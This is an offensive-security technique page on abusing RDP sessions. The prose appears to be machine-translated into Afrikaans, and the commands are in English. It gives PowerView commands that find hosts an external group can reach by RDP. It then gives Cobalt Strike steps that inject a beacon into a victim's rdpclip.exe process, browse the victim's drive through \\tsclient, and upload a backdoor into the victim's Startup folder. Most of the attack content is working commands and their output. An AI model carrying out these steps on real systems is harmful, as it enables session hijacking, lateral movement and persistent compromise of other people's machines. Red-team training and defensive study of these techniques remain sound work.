RDP Sessions Abuse

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RDP Proses Inspuiting

As die eksterne groep RDP-toegang tot enige rekenaar in die huidige domein het, kan 'n aanvaller daardie rekenaar kompromitteer en op hom wag.

Sodra daardie gebruiker via RDP toegang verkry het, kan die aanvaller na daardie gebruiker se sessie pivot en sy toestemmings in die eksterne domein misbruik.

# Supposing the group "External Users" has RDP access in the current domain
## lets find where they could access
## The easiest way would be with bloodhound, but you could also run:
Get-DomainGPOUserLocalGroupMapping -Identity "External Users" -LocalGroup "Remote Desktop Users" | select -expand ComputerName
#or
Find-DomainLocalGroupMember -GroupName "Remote Desktop Users" | select -expand ComputerName

# Then, compromise the listed machines, and wait til someone from the external domain logs in:
net logons
Logged on users at \\localhost:
EXT\super.admin

# With cobalt strike you could just inject a beacon inside of the RDP process
beacon> ps
PID   PPID  Name                         Arch  Session     User
---   ----  ----                         ----  -------     -----
...
4960  1012  rdpclip.exe                  x64   3           EXT\super.admin

beacon> inject 4960 x64 tcp-local
## From that beacon you can just run powerview modules interacting with the external domain as that user

Check ander maniere om sessies te steel met ander gereedskap op hierdie bladsy.

RDPInception

As 'n gebruiker via RDP toegang tot 'n masjien kry waar 'n aanvaller op hom wag, sal die aanvaller in staat wees om 'n beacon in die RDP-sessie van die gebruiker te injekteer en as die slagoffer sy skyf gemonteer het toe hy via RDP toegang verkry, kan die aanvaller dit toegang.

In hierdie geval kan jy net die slagoffer se oorspronklike rekenaar kompromitteer deur 'n backdoor in die opstartgids te skryf.

# Wait til someone logs in:
net logons
Logged on users at \\localhost:
EXT\super.admin

# With cobalt strike you could just inject a beacon inside of the RDP process
beacon> ps
PID   PPID  Name                         Arch  Session     User
---   ----  ----                         ----  -------     -----
...
4960  1012  rdpclip.exe                  x64   3           EXT\super.admin

beacon> inject 4960 x64 tcp-local

# There's a UNC path called tsclient which has a mount point for every drive that is being shared over RDP.
## \\tsclient\c is the C: drive on the origin machine of the RDP session
beacon> ls \\tsclient\c

Size     Type    Last Modified         Name
----     ----    -------------         ----
dir     02/10/2021 04:11:30   $Recycle.Bin
dir     02/10/2021 03:23:44   Boot
dir     02/20/2021 10:15:23   Config.Msi
dir     10/18/2016 01:59:39   Documents and Settings
[...]

# Upload backdoor to startup folder
beacon> cd \\tsclient\c\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
beacon> upload C:\Payloads\pivot.exe

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